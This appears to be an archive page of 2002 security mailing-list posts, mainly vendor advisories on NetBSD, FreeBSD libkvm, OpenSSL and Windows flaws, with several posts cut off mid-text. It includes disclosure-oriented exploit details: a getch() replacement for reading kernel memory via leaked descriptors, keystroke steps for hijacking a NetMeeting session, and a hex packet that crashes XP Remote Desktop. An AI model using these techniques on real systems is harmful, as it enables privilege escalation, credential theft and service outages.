-BEGIN PGP SIGNED MESSAGE- NetBSD Security Advisory 2002-007 = Topic: Repeated TIOCSCTTY ioctl can corrupt session hold counts Version:NetBSD-current: source prior to July 21, 2002 NetBSD-1.6 beta: source prior to July 23, 2002 NetBSD-1.5.*: source prior to September 5, 2002 NetBSD-1.5.3: affected NetBSD-1.5.2: affected NetBSD-1.5.1: affected NetBSD-1.5: affected NetBSD-1.4.*: affected Severity: Local user can cause system panic Fixed: NetBSD-current: July 21, 2002 NetBSD-1.6 branch: July 23, 2002 (1.6 includes the fix) NetBSD-1.5 branch: September 5, 2002 NetBSD-1.4 branch: not yet Abstract A Session leader can use the TIOCSCTTY ioctl to set the session controlling terminal. This ioctl can be called any number of times. The call unconditionally raised the hold count of a kernel structure shared between processes in the same session. It was possible to overflow the structure counter, and thus arrange for the structure memory to be freed prematurely, and possibly re-used. This could cause a kernel panic or incorrect operation the next time the session structure is accessed from the context of other processes which are part of the former session. Technical Details = A process can start a new session (and thus create a new session leader), by forking a child and exiting. The new child can then call setsid(2) to create a new session, and thus become a session leader. The child process can then call the TIOCSCTTY ioctl. Structures shared between multiple processes (such as the session structure) normally contain counters to keep track of how many times a structure is referenced. Typically, macros are used to increase/decrease the use counter, and the structure is freed when the counter goes to zero. By repeatedly invoking TIOCSCTTY, it's possible to overflow the integer counter such that when a process exits (and thus the session structure counter is decreased), the counter hits zero and structure is freed even though other processes still reference it. Depending on kernel options, this might immediately cause the memory to be overwritten with junk data, or the memory will be overwritten by random other data when the memory is allocated to something else. In either case, if any of the processes of the old session group access the memory, they would very likely follow trashed pointers and cause a kernel panic. Solutions and Workarounds = NetBSD official releases up to and including 1.5.3 are vulnerable. The recent NetBSD 1.6 release is not vulnerable to this issue. A full upgrade to NetBSD 1.6 is the recommended resolution for all users able to do so. Many security-related improvements have been made, and indeed this release has been delayed several times in order to include fixes for a number of recent issues. Otherwise, kernel sources must be updated and a new kernel built and installed. Once the kernel sources have been updated, rebuild the kernel, install it, and reboot. For more information on how to do this, see: http://www.netbsd.org/Documentation/kernel/#how_to_build_a_kernel The instructions for updating your kernel sources depend upon which particular NetBSD release you are running. * NetBSD-current: Systems running NetBSD-current dated from before 2002-07-21 should be upgraded to NetBSD-current dated 2002-07-22 or later. The following directories need to be updated from the netbsd-current CVS branch (aka HEAD): src/sys/kern/ Alternatively, apply the following patch (with potential offset differences): ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2002-007-tiocsctty.patch To patch: # cd src/sys # patch /path/to/SA2002-007-tiocsctty.patch Configure, compile, install and boot a new kernel according to the instructions at: http://www.netbsd.org/Documentation/kernel/#building_a_kernel * NetBSD 1.6 beta: Systems running NetBSD 1.6 BETAs and Release Candidates should be upgraded to the NetBSD 1.6 release. If a source-based point upgrade is required, sources from the NetBSD-1.6 branch dated 2002-07-23 or later should be used. The following directories need to be updated from the netbsd-1-6 CVS branch: src/sys/kern/ Alternatively, apply the following patch (with potential offset differences): ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2002-007-tiocsctty.patch To patch: # cd src/sys # patch /path/to/SA2002-007-tiocsctty.patch Configure,
iDEFENSE Security Advisory 09.16.2002: FreeBSD Ports libkvm Security Vulnerabilities
iDEFENSE Security Advisory 09.16.2002
FreeBSD Ports libkvm Security Vulnerabilities
DESCRIPTION
The FreeBSD ports asmon, ascpu, bubblemon, wmmon, and wmnet2
can be locally manipulated to take advantage of open file
descriptors /dev/mem and /dev/kmem to gain root privileges on
a target host. These five programs are installed setgid kmem
by default. They will drop kmem privileges before executing
user specified commands but file descriptors to /dev/mem and
/dev/kmem will remain open. This can lead to a local root
compromise in various ways (e.g. if an attacker chooses to
scan for the master password file in the Linux kernel memory).
ANALYSIS
The latest versions of all five above mentioned FreeBSD ports
are vulnerable, the following examples illustrate the
problems:
bash-2.05a$ bubblemon dummy/usr/local/sbin/lsof|grep
dummy|grep mem
dummy 688 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 688 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ ascpu -exe dummy/usr/local/sbin/lsof|grep dummy|grep
mem
dummy 650 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 650 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ cat .wmmonrc
left /home/dim/dummy
bash-2.05a$ wmmon
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1
bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem
bash-2.05a$ wmnet2 -e dummy/usr/local/sbin/lsof|grep
dummy|grep mem
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem
One possible exploit for these vulnerabilities is to replace
getch() in strings(1) with:
int getch()
{
char buf[4];
read(4,buf,1);
return buf[0];
}
or a similar less CPU expensive function that reads a
character from the /dev/mem file descriptor and execute the
following:
wmnet2 -e exploit|grep root|grep Charlie
DETECTION
The latest copies of asmon, ascpu, bubblemon, wmmon, and
wmnet2 from the FreeBSD ports collection are vulnerable and
were tested on 4.6-RELEASE of FreeBSD. According to FreeBSD,
all FreeBSD ports that use libkvm prior to and including
4.6.2-RELEASE may also be vulnerable.
WORKAROUND
Remove the setgid bit on the affected applications,
however reducing the functionality:
chmod g-s /path.to/wmnet2
VENDOR RESPONSE
The FreeBSD advisory to be released in coordination with this
advisory is FreeBSD-SA-02:39.libkvm. FreeBSD has provided
the following patch details:
Upgrade your vulnerable system to 4.6-STABLE; or to the
RELENG_4_6, RELENG_4_5, or RELENG_4_4 security branch dated
after the correction date (4.6.2-RELEASE-p2, 4.5-RELEASE-p20,
or 4.4-RELEASE-p27).
DISCLOSURE TIMELINE
August 12, 2002 - Disclosed to iDEFENSE
September 6, 2002 - Disclosed to FreeBSD Security
September 6, 2002 - Disclosed to iDEFENSE clients
September 16, 2002 - Coordinated public disclosure by FreeBSD
and iDEFENSE
CREDIT
This issue was exclusively disclosed to iDEFENSE by
[EMAIL PROTECTED]
http://www.idefense.com/contributor.html
David Endler, CISSP
Director, Technical Intelligence
iDEFENSE, Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
voice: 703-344-2632
fax: 703-961-1071
[EMAIL PROTECTED]
www.idefense.com
[SECURITY] [DSA-136-2] Multiple OpenSSL problems (update)
-BEGIN PGP SIGNED MESSAGE- - Debian Security Advisory DSA-136-2 [EMAIL PROTECTED] http://www.debian.org/security/Michael Stone September 15, 2002http://www.debian.org/security/faq - Package: openssl094, openssl095, openssl Problem type : multiple remote exploits Debian-specific: no CVE: CAN-2002-0655 CAN-2002-0656 CAN-2002-0657 CAN-2002-0659 Note: this advisory is an update to DSA-136-1, issued 30 Jul 2002. It includes ASN1 updates in the woody packages, plus the potato packages which were not initially available. The OpenSSL development team has announced that a security audit by A.L. Digital Ltd and The Bunker, under the DARPA CHATS program, has revealed remotely exploitable buffer overflow conditions in the OpenSSL code. Additionaly, the ASN1 parser in OpenSSL has a potential DoS attack independently discovered by Adi Stav and James Yonan. CAN-2002-0655 references overflows in buffers used to hold ASCII representations of integers on 64 bit platforms. CAN-2002-0656 references buffer overflows in the SSL2 server implementation (by sending an invalid key to the server) and the SSL3 client implementation (by sending a large session id to the client). The SSL2 issue was also noticed by Neohapsis, who have privately demonstrated exploit code for this issue. CAN-2002-0659 references the ASN1 parser DoS issue. These vulnerabilities have been addressed for Debian 3.0 (woody) in openssl094_0.9.4-6.woody.1, openssl095_0.9.5a-6.woody.1 and openssl_0.9.6c-2.woody.1. These vulnerabilities are also present in Debian 2.2 (potato). Fixed packages are available in openssl094_0.9.4-6.potato.0 and openssl_0.9.6c-0.potato.4. Only i386 packages for openssl094 and openssl095 are available at this time; other architectures will be made available as soon as possible. A worm is actively exploiting this issue on internet-attached hosts; we recommend you upgrade your OpenSSL as soon as possible. Note that you must restart any daemons using SSL. (E.g., ssh or ssl-enabled apache.) If you are uncertain which programs are using SSL you may choose to reboot to ensure that all running daemons are using the new libraries. - Obtaining updates: By hand: wget URL will fetch the file for you. dpkg -i FILENAME.deb will install the fetched file. With apt: deb http://security.debian.org/ stable/updates main added to /etc/apt/sources.list will provide security updates Additional information can be found on the Debian security webpages at http://www.debian.org/security/ - Debian 2.2 (potato) - -- Oldstable was released for alpha, arm, i386, m68k, powerpc and sparc. Source archives: http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c.orig.tar.gz Size/MD5 checksum: 2153980 c8261d93317635d56df55650c6aeb3dc http://security.debian.org/pool/updates/main/o/openssl094/openssl094_0.9.4.orig.tar.gz Size/MD5 checksum: 1570392 72544daea16d6c99d656b95f77b01b2d http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-0.potato.4.dsc Size/MD5 checksum: 741 9c7e0cf669a32763f4bf9669156a2235 http://security.debian.org/pool/updates/main/o/openssl094/openssl094_0.9.4-6.potato.0.dsc Size/MD5 checksum: 702 463aa33d08d188542208e82734269eab http://security.debian.org/pool/updates/main/o/openssl094/openssl094_0.9.4-6.potato.0.diff.gz Size/MD5 checksum:44354 d06b01d6f91e901d3e2686df4b9b6bc6 http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-0.potato.4.diff.gz Size/MD5 checksum:42566 ea23bd132febccb20178a33080a75b2e alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/o/openssl/openssl_0.9.6c-0.potato.4_alpha.deb Size/MD5 checksum: 746626 c7e28cd9327bf7c57de8460873acc7ca http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-0.potato.4_alpha.deb Size/MD5 checksum: 591014 6e50b6aab7330ab8bf05835476e355cf http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-0.potato.4_alpha.deb Size/MD5 checksum: 1550550 519f58912d6fe231127dc3269235494b arm architecture (ARM) http://security.debian.org/pool/updates/main/o/openssl/libssl0.9.6_0.9.6c-0.potato.4_arm.deb Size/MD5 checksum: 469664 291969d97b32582ad427f2464a5f9f50 http://security.debian.org/pool/updates/main/o/openssl/libssl-dev_0.9.6c-0.potato.4_arm.deb Size/MD5 checksum: 1349424 61b9f52a86711594c7f9e7135e2ad447
NetMeeting 3.01 Local RDS Session Hijacking
In comparing findings with the Microsoft NetMeeting 3.0 Security Assessment and Configuration Guide available through the National Security Agency web site (www.nsa.gov in the Security Recommendation Guides section), I noticed a discrepancy in findings. The guide indicated the Screen Saver Protection feature did not work as advertised allowing someone to view the remote user's activity but not use the host system. It is possible to hijack the local session given physical access. I appreciate the NSA's timely addition to the guide to include the 'unconfirmed' RDS Hijacking warning and stressing the point that physical security for the host computer is paramount. CONTACT INFORMATION === Let us know who you are: Name: Paul A Roberts E-mail: [EMAIL PROTECTED] [EMAIL PROTECTED] Phone: (503)581-1881 / (503)945-6443 Affiliation and address: Oregon Department of Human Services Network Desktop Services 5th Floor 500 Summer St. NE Salem, OR 97301 Have you reported this to the vendor? YES If so, please let us know whom you've contacted: Date of your report : 10/03/01 Vendor contact name : Scott Vendor contact phone : Vendor contact e-mail : [EMAIL PROTECTED] Vendor reference number : [msrc 899sc] If not, we encourage you to do so--vendors need to hear about vulnerabilities from you as a customer. POLICY INFO === We encourage communication between vendors and their customers. When we forward a report to the vendor, we include the reporter's name and contact information unless you let us know otherwise. If you want this report to remain anonymous, please check here: ___ Do not release my identity to your vendor contact. TECHNICAL INFO === If there is a CERT Vulnerability tracking number please put it here (otherwise leave blank): VU#__. Please describe the vulnerability. - What is the impact of this vulnerability? a) What is the specific impact: The NetMeeting 3.01 Remote Desktop Sharing (RDS) Screen Saver Protection option is designed to prevent a local user from taking control of the host workstation without proper authentication. The remote session can be hijacked at the host giving the hijacker the authenticated local and network privileges of the remote user. b) How would you envision it being used in an attack scenario: An individual with physical access to the RDS host system, such as in an office-cubicle environment, could hijack an active session to gain local or network administration privileges from a remote user. To your knowledge is the vulnerability currently being exploited? NO If there is an exploitation script available, please include it here. Sample Exploit: When a Windows NT, 2000, or XP system is being controlled remotely by the NetMeeting RDS service a local user can execute the following: (1) Hijacker monitors the RDS session at the local RDS host screen until the remote user makes a change to a document or setting (i.e., opening Notepad and typing text). (2) Hijacker uses the following sequence (keys vary slightly between OS): CTRL-ALT-DEL, 'shut down', 'Okay', ESC. (Effectively starting a logoff of the session and grabbing control from the authorized remote user.) (3) Hijacker has local keyboard control and the Do you want to save the changes? box is displayed. (4) Hijacker uses the 'Cancel' button to abort the logoff. (5) Screensaver may briefly appear or the desktop background only may appear. Pressing CTRL-ALT-DEL followed by the ESC key at this point gives the hijacker full control of the system with the remote user's credentials. (The remote user still may view the session until disconnected or the program is exited, however, cannot take control of the session back from the hijacker.) Do you know what systems and/or configurations are vulnerable? - YES (If yes, please list them below) System: Microsoft NetMeeting 3.01 through latest Spk2 (4.4.3396) OS version: Windows NT 4.0 Spk6, Windows 2000 Spk3, Windows XP Professional Verified/Guessed: Verified Are you aware of any workarounds and/or fixes for this vulnerability? NO (If you have a workaround or are aware of patches please include the information here.) OTHER INFORMATION === Is there anything else you would like to tell us? This vulnerability was first reported to Microsoft in October of 2001 and a fix was said to be coming in the next service pack. In a follow-up in March of
Analysis of Modap worm
Greetings, We have completed and released our analysis of the Modap worm, which has been targeting Apache Web servers running vulnerable versions of OpenSSL. In addition, we have also released to the public our initial Incident Alert on this issue, available at: http://analyzer.securityfocus.com/alerts/020913-Alert-Apache-mod_ssl-Exploit.pdf The full analysis is available at: http://analyzer.securityfocus.com/alerts/020916-Analysis-Modap.pdf If you have any comments or concerns, please do not hesitate to contact me. Cheers, Mario Van Velzen, [EMAIL PROTECTED] DeepSight Threat Management System, Symantec
FreeBSD Security Advisory FreeBSD-SA-02:39.libkvm
-BEGIN PGP SIGNED MESSAGE- = FreeBSD-SA-02:39.libkvm Security Advisory The FreeBSD Project Topic: Applications using libkvm may leak sensitive descriptors Category: core Module: libkvm Announced: 2002-09-16 Credits:David Endler [EMAIL PROTECTED], [EMAIL PROTECTED] Affects:All releases prior to and including 4.6.2-RELEASE. Security branch releases prior to 4.4-RELEASE-p27, 4.5-RELEASE-p20, and 4.6.2-RELEASE-p2. Corrected: 2002-09-13 14:53:43 UTC (RELENG_4) 2002-09-13 15:04:22 UTC (RELENG_4_6) 2002-09-13 15:07:26 UTC (RELENG_4_5) 2002-09-13 15:09:07 UTC (RELENG_4_4) FreeBSD only: NO I. Background The kvm(3) library provides a uniform interface for accessing kernel virtual memory images, including live systems and crash dumps. Access to live systems is via /dev/mem and /dev/kmem. Memory can be read and written, kernel symbol addresses can be looked up efficiently, and information about user processes can be gathered. The kvm_openfiles(3) function opens the special device files /dev/mem and /dev/kmem, and returns an opaque handle that must be passed to the other library functions. II. Problem Description Applications that wish to present system information such as swap utilization, virtual memory utilization, CPU utilization, and so on may use the kvm(3) library to read kernel memory directly and gather this information. Such applications typically must be run set-group-ID kmem so that the call to kvm_openfiles(3) can access /dev/mem and /dev/kmem. If the application then uses exec(2) to start another application, the new application will continue to have open file descriptors to /dev/mem and /dev/kmem. This is usually avoided by marking file descriptors as close-on-exec, but since the handle returned by kvm_openfiles(3) is opaque, there is no direct way for the application to determine what file descriptors have been opened by the library. As a result, application writers may neglect to take these file descriptors into account. III. Impact Set-group-ID kmem applications which use kvm(3) and start other applications may leak /dev/mem and /dev/kmem file descriptors. If those applications can be specified by a local user, they may be used to read kernel memory, resulting in disclosure of sensitive information such as file, network, and tty buffers, authentication tokens, and so on. Several applications in the FreeBSD Ports Collection were identified that are affected: asmon, ascpu, bubblemon, wmmon, and wmnet2. There may be other applications as well. IV. Workaround Remove the set-group-ID bit on affected applications. This will result in the applications losing some functionality. V. Solution Do one of the following: 1) Upgrade your vulnerable system to 4.6-STABLE; or to the RELENG_4_6, RELENG_4_5, or RELENG_4_4 security branch dated after the correction date (4.6.2-RELEASE-p2, 4.5-RELEASE-p20, or 4.4-RELEASE-p27). 2) To patch your present system: The following patch has been verified to apply to FreeBSD 4.4, FreeBSD 4.5, FreeBSD 4.6, and FreeBSD 4.6.2 systems. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:39/libkvm.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:39/libkvm.patch.asc b) Execute the following commands as root: # cd /usr/src # patch /path/to/patch # cd /usr/src/lib/libkvm # make depend make make install VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Path Revision Branch - - src/lib/libkvm/kvm.c RELENG_4 1.12.2.3 RELENG_4_6 1.12.2.2.8.1 RELENG_4_5 1.12.2.2.6.1 RELENG_4_4 1.12.2.2.4.1 src/sys/conf/newvers.sh RELENG_4_6 1.44.2.23.2.19 RELENG_4_5 1.44.2.20.2.21 RELENG_4_4 1.44.2.17.2.26 - - -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.7 (FreeBSD) iQCVAwUBPYXz/1UuHi5z0oilAQGNGAP/cpg8s9L034EbrJriQDicHptv/2QgSnrw 2BvOaUXRIEweDz7FAoLstbxDFVE3Hx9+zN4gn7S49WIbFjATFRcL2FT/1yBhrbBx Yp20/gveFQSU+AnjsriKVDrH9ksBO4/ZX6lBxjvxD0Hbyj4ATd027jNAXl7WeLbq 2DN6Lf4FB1Y= =699Y -END PGP
Microsoft Windows XP Remote Desktop denial of service vulnerability
Vulnerable Microsoft Windows XP Professional Microsoft Windows .NET Standard Server Beta 3 Non-vulnerable Microsoft Windows 2000 Server Background Windows XP Professional has a remote denial of service attack when Remote Desktop is enabled. Remote Desktop is XP Professional's single-user RDP server (Terminal Services). Discussion At the start of the protocol there is a negotiation of client and server graphics capabilities, in a packet called PDU Confirm Active. A block of 32 bytes in this packet allows the client to disable the drawing commands that it does not support. One of these apparently controls whether the Pattern BLT command is sent. On Windows 2000 Server, disabling this command will make the server send bitmaps instead of Pattern BLT commands. However, Windows XP Professional apparently reboots when it tries to render patterns; since this happens while the login screen is being drawn, this does not require the client to have logged on or authenticated to the server. This applies to all versions of the protocol tested (RDP 4.0, 5.0 and 5.1), and it is also reproducible with Windows .NET Standard Server Beta 3. Workaround Disable Remote Desktop (from Control Panel, System, Remote, Remote Desktop, deselect the option Allow users to connect remotely to this computer). Exploit Shown below is the unencrypted packet contents for the problematic PDU Confirm Active packet. The only change is from 01 to 00 on the line indicated. c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01 4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00 03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00 00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05 00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00 2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 - was 2a 00 01 01 00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00 00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00 00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00 00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00 00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00 0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00 0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00 0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00 fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00 fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01 40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00 01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00 14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00 00 0a 00 01 References Section 8.2.5 from T.128 Multipoint application sharing, Series T: Terminals for telematic services, ITU-T. Microsoft was notified on 16 April 2002. Credits Ben Cohen [EMAIL PROTECTED] Skygate Technology Ltd. http://www.skygate.co.uk/ +44 (0)20 8542 7856
Re: Bug in Opera and Konqueror
On Son, 15 Sep 2002, Zeux wrote: the version is present in all earlier versions. My version of Konqueror is out of date, and I do not have the recent release of it, so I will be glad if somebody tests this vulnerability and reports me the results. Konqueror as of KDE 3.0.1 or newer is not vulnerable. The creators of the packet did not even check the presence of this vulnerability on the new browser, so I ask you to check it on the Konqueror from KDE3. They did, you just received an automatic reply that was generated when the bug was closed. BTW, please report security issues to [EMAIL PROTECTED], thanks. -- Dirk (received 1223 mails today)
